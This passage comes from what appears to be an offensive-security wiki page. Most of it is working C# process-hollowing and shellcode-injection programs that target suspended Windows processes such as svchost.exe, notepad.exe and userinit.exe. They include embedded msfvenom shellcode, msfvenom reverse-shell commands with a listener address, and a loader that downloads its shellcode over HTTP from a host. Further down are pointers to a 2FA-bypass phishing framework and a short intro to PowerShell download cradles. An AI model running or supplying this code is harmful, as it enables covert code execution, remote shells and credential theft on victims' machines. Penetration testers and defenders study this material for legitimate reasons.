            IntPtr baseImageAddr = (IntPtr)((Int64)pbInfo.PebAddress + 0x10);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got process information and located PEB address of process at {&amp;quot;0x&amp;quot; + baseImageAddr.ToString(&amp;quot;x&amp;quot;)}. Success: {qResult == 0}.&amp;quot;);&lt;br /&gt;
            // Get entry point of the actual process executable&lt;br /&gt;
            // This one is a bit complicated, because this address differs for each process (due to Address Space Layout Randomization (ASLR))&lt;br /&gt;
            // From the PEB (address we got in last call), we have to do the following:&lt;br /&gt;
            // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing&lt;br /&gt;
            // 2. Read the field &#039;e_lfanew&#039;, 4 bytes at offset 0x3C from executable address to get the offset for the PE header&lt;br /&gt;
            // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset&lt;br /&gt;
            // 4. Read the value at the RVA offset address to get the offset of the executable entrypoint from the executable address&lt;br /&gt;
            // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!&lt;br /&gt;
            // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing&lt;br /&gt;
            byte[] procAddr = new byte[0x8];&lt;br /&gt;
            byte[] dataBuf = new byte[0x200];&lt;br /&gt;
            IntPtr bytesRW = new IntPtr();&lt;br /&gt;
            bool result = ReadProcessMemory(pInfo.hProcess, baseImageAddr, procAddr, procAddr.Length, out bytesRW);&lt;br /&gt;
            IntPtr executableAddress = (IntPtr)BitConverter.ToInt64(procAddr, 0);&lt;br /&gt;
            result = ReadProcessMemory(pInfo.hProcess, executableAddress, dataBuf, dataBuf.Length, out bytesRW);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: Executable base address: {&amp;quot;0x&amp;quot; + executableAddress.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 2. Read the field &#039;e_lfanew&#039;, 4 bytes (UInt32) at offset 0x3C from executable address to get the offset for the PE header&lt;br /&gt;
            uint e_lfanew = BitConverter.ToUInt32(dataBuf, 0x3c);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: e_lfanew offset: {&amp;quot;0x&amp;quot; + e_lfanew.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset&lt;br /&gt;
            uint rvaOffset = e_lfanew + 0x28;&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: RVA offset: {&amp;quot;0x&amp;quot; + rvaOffset.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 4. Read the 4 bytes (UInt32) at the RVA offset to get the offset of the executable entrypoint from the executable address&lt;br /&gt;
            uint rva = BitConverter.ToUInt32(dataBuf, (int)rvaOffset);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: RVA value: {&amp;quot;0x&amp;quot; + rva.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!&lt;br /&gt;
            IntPtr entrypointAddr = (IntPtr)((Int64)executableAddress + rva);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got executable entrypoint address: {&amp;quot;0x&amp;quot; + entrypointAddr.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // Carrying on, decode the XOR payload&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;XOR-decoded payload.&amp;quot;);&lt;br /&gt;
            // Overwrite the memory at the identified address to &#039;hijack&#039; the entrypoint of the executable&lt;br /&gt;
            result = WriteProcessMemory(pInfo.hProcess, entrypointAddr, buf, buf.Length, out bytesRW);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote entrypoint with payload. Success: {result}.&amp;quot;);&lt;br /&gt;
            // Resume the thread to trigger our payload&lt;br /&gt;
            uint rResult = ResumeThread(pInfo.hThread);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Triggered payload. Success: {rResult == 1}. Check your listener!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stageless 2 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
//https://github.com/mvelazc0/defcon27_csharp_workshop/tree/master/Labs/lab7&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;&lt;br /&gt;
&lt;br /&gt;
public class Program&lt;br /&gt;
{&lt;br /&gt;
    const int PROCESS_CREATE_THREAD = 0x0002;&lt;br /&gt;
    const int PROCESS_QUERY_INFORMATION = 0x0400;&lt;br /&gt;
    const int PROCESS_VM_OPERATION = 0x0008;&lt;br /&gt;
    const int PROCESS_VM_WRITE = 0x0020;&lt;br /&gt;
    const int PROCESS_VM_READ = 0x0010;&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openthread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    //static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);&lt;br /&gt;
    static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-suspendthread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern uint SuspendThread(IntPtr hThread);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-resumethread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern int ResumeThread(IntPtr hThread);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-zwunmapviewofsection&lt;br /&gt;
    [DllImport(&amp;quot;ntdll.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
    private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);&lt;br /&gt;
&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    //public static extern IntPtr VirtualAllocEx(IntPtr lpHandle,IntPtr lpAddress, IntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);&lt;br /&gt;
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject&lt;br /&gt;
    [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);&lt;br /&gt;
    private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
    private static UInt32 SUSPEND_RESUME = 0x0002;&lt;br /&gt;
    public static void Main()&lt;br /&gt;
    {&lt;br /&gt;
&lt;br /&gt;
// msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f csharp&lt;br /&gt;
        byte[] shellcode = new byte[193] {0xfc,0xe8,0x82,0x00,0x00,0x00,&lt;br /&gt;
0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,&lt;br /&gt;
0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,&lt;br /&gt;
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,&lt;br /&gt;
0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,&lt;br /&gt;
0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,&lt;br /&gt;
0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,&lt;br /&gt;
0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,&lt;br /&gt;
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,&lt;br /&gt;
0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,&lt;br /&gt;
0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,&lt;br /&gt;
0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,&lt;br /&gt;
0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,&lt;br /&gt;
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,&lt;br /&gt;
0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,&lt;br /&gt;
0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61,&lt;br /&gt;
0x6c,0x63,0x2e,0x65,0x78,0x65,0x00};&lt;br /&gt;
&lt;br /&gt;
        string proc = &amp;quot;userinit.exe&amp;quot;;&lt;br /&gt;
        Process newproc;&lt;br /&gt;
        newproc = Process.Start(proc);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Started &amp;quot; + proc + &amp;quot; with Process Id:&amp;quot; + newproc.Id);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Suspending process...&amp;quot;);&lt;br /&gt;
        foreach (ProcessThread thread in newproc.Threads)&lt;br /&gt;
        {&lt;br /&gt;
            IntPtr pOpenThread;&lt;br /&gt;
            pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);&lt;br /&gt;
            if (pOpenThread == IntPtr.Zero)&lt;br /&gt;
            {&lt;br /&gt;
                break;&lt;br /&gt;
            }&lt;br /&gt;
            SuspendThread(pOpenThread);&lt;br /&gt;
        }&lt;br /&gt;
        Console.WriteLine(&amp;quot;Suspended!&amp;quot;);&lt;br /&gt;
        IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, newproc.Id);&lt;br /&gt;
        IntPtr spaceAddr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Allocating memory&amp;quot;);&lt;br /&gt;
        WriteProcessMemory(procHandle, spaceAddr, shellcode, new IntPtr(shellcode.Length), 0);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Copied shellcode in memory&amp;quot;);&lt;br /&gt;
        IntPtr pinfo = IntPtr.Zero;&lt;br /&gt;
        IntPtr threatH = CreateRemoteThread(procHandle, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));&lt;br /&gt;
        Console.WriteLine(&amp;quot;Created remote thread&amp;quot;);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Resuming process...&amp;quot;);&lt;br /&gt;
        foreach (ProcessThread thread in newproc.Threads)&lt;br /&gt;
        {&lt;br /&gt;
            IntPtr pOpenThread;&lt;br /&gt;
            pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);&lt;br /&gt;
            if (pOpenThread == IntPtr.Zero)&lt;br /&gt;
            {&lt;br /&gt;
                break;&lt;br /&gt;
            }&lt;br /&gt;
            ResumeThread(pOpenThread);&lt;br /&gt;
        }&lt;br /&gt;
        Console.WriteLine(&amp;quot;Resumed!&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Staged - Download payload through CIFS/SMB ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
namespace ProcessHollowingExample&lt;br /&gt;
{&lt;br /&gt;
    internal class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,&lt;br /&gt;
            IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess,&lt;br /&gt;
            int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,&lt;br /&gt;
            uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        private static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]&lt;br /&gt;
        struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public IntPtr lpReserved;&lt;br /&gt;
            public IntPtr lpDesktop;&lt;br /&gt;
            public IntPtr lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_BASIC_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\svchost.exe&amp;quot;;&lt;br /&gt;
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
            string shellcodePath = &amp;quot;path_to_shellcode.bin&amp;quot;; // Replace with the actual shellcode file path&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
            // Create a suspended process&lt;br /&gt;
            STARTUPINFO si = new STARTUPINFO();&lt;br /&gt;
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();&lt;br /&gt;
            bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, 0x4, IntPtr.Zero, null, ref si, out pi);&lt;br /&gt;
            if (!success)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;CreateProcess failed: &amp;quot; + Marshal.GetLastWin32Error());&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Query process information to get the PEB address&lt;br /&gt;
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();&lt;br /&gt;
            uint tmp = 0;&lt;br /&gt;
            IntPtr hProcess = pi.hProcess;&lt;br /&gt;
            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);&lt;br /&gt;
            // Calculate the address of the EntryPoint&lt;br /&gt;
            IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);&lt;br /&gt;
            byte[] addrBuf = new byte[IntPtr.Size];&lt;br /&gt;
            IntPtr nRead = IntPtr.Zero;&lt;br /&gt;
            ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);&lt;br /&gt;
            IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));&lt;br /&gt;
            // Read the PE header to locate the EntryPoint&lt;br /&gt;
            byte[] peHeader = new byte[0x200];&lt;br /&gt;
            ReadProcessMemory(hProcess, svchostBase, peHeader, peHeader.Length, out nRead);&lt;br /&gt;
            uint e_lfanew_offset = BitConverter.ToUInt32(peHeader, 0x3C);&lt;br /&gt;
            uint opthdr = e_lfanew_offset + 0x28;&lt;br /&gt;
            uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr);&lt;br /&gt;
            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);&lt;br /&gt;
            // Read the shellcode&lt;br /&gt;
            byte[] shellcode = System.IO.File.ReadAllBytes(shellcodePath);&lt;br /&gt;
            // Overwrite the EntryPoint with the shellcode&lt;br /&gt;
            IntPtr nWritten = IntPtr.Zero;&lt;br /&gt;
            WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten);&lt;br /&gt;
            // Resume the suspended thread&lt;br /&gt;
            ResumeThread(pi.hThread);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Shellcode injected and executed successfully.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Staged - Download payload over HTTP/HTTPS ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Net.Http;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace ProcessHollowingExample&lt;br /&gt;
{&lt;br /&gt;
    internal class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,&lt;br /&gt;
            IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess,&lt;br /&gt;
            int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,&lt;br /&gt;
            uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        private static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]&lt;br /&gt;
        struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public IntPtr lpReserved;&lt;br /&gt;
            public IntPtr lpDesktop;&lt;br /&gt;
            public IntPtr lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_BASIC_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        static async Task Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\notepad.exe&amp;quot;;&lt;br /&gt;
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
            string shellcodeUrl = &amp;quot;http://192.168.1.126/shellcode.bin&amp;quot;; // Replace with the actual URL of the shellcode binary&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
            // Create a suspended process&lt;br /&gt;
            STARTUPINFO si = new STARTUPINFO();&lt;br /&gt;
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();&lt;br /&gt;
            bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, 0x4, IntPtr.Zero, null, ref si, out pi);&lt;br /&gt;
            if (!success)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;CreateProcess failed: &amp;quot; + Marshal.GetLastWin32Error());&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Query process information to get the PEB address&lt;br /&gt;
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();&lt;br /&gt;
            uint tmp = 0;&lt;br /&gt;
            IntPtr hProcess = pi.hProcess;&lt;br /&gt;
            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);&lt;br /&gt;
            // Calculate the address of the EntryPoint&lt;br /&gt;
            IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);&lt;br /&gt;
            byte[] addrBuf = new byte[IntPtr.Size];&lt;br /&gt;
            IntPtr nRead = IntPtr.Zero;&lt;br /&gt;
            ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);&lt;br /&gt;
            IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));&lt;br /&gt;
            // Read the PE header to locate the EntryPoint&lt;br /&gt;
            byte[] peHeader = new byte[0x200];&lt;br /&gt;
            ReadProcessMemory(hProcess, svchostBase, peHeader, peHeader.Length, out nRead);&lt;br /&gt;
            uint e_lfanew_offset = BitConverter.ToUInt32(peHeader, 0x3C);&lt;br /&gt;
            uint opthdr = e_lfanew_offset + 0x28;&lt;br /&gt;
            uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr);&lt;br /&gt;
            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);&lt;br /&gt;
            // Read the shellcode from the specified URL&lt;br /&gt;
            byte[] shellcode;&lt;br /&gt;
            using (HttpClient client = new HttpClient())&lt;br /&gt;
            {&lt;br /&gt;
                try&lt;br /&gt;
                {&lt;br /&gt;
                    shellcode = await client.GetByteArrayAsync(shellcodeUrl);&lt;br /&gt;
                }&lt;br /&gt;
                catch (Exception ex)&lt;br /&gt;
                {&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Error downloading shellcode: &amp;quot; + ex.Message);&lt;br /&gt;
                    return;&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            // Overwrite the EntryPoint with the downloaded shellcode&lt;br /&gt;
            IntPtr nWritten = IntPtr.Zero;&lt;br /&gt;
            WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten);&lt;br /&gt;
            // Resume the suspended thread&lt;br /&gt;
            ResumeThread(pi.hThread);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Shellcode injected and executed successfully.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== Bypass 2-Fa ===&lt;br /&gt;
&lt;br /&gt;
[https://www.youtube.com/watch?v=FwGeBW6OurM&amp;amp;t=662s Hackers Bypass Google Two-Factor Authentication (2FA) SMS - YouTube]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/kgretzky/evilginx2 GitHub - kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication]&lt;br /&gt;
&lt;br /&gt;
== Proxy-aware PowerShell Cradle ==&lt;br /&gt;
&lt;br /&gt;
A proxy is an intermediary server that sits between a user&#039;s computer and the internet, often used for security, monitoring, and content control. The section discusses how different PowerShell download cradles, which are scripts or commands used to fetch and execute remote code, handle communication via proxies. Some PowerShell methods are inherently proxy-aware due to their reliance on .NET libraries that respect system-defined proxy settings. The content further explains how these methods can be manipulated to interact with or bypass proxy settings, highlighting potential security considerations.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;192.168.168.11 - Victim &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
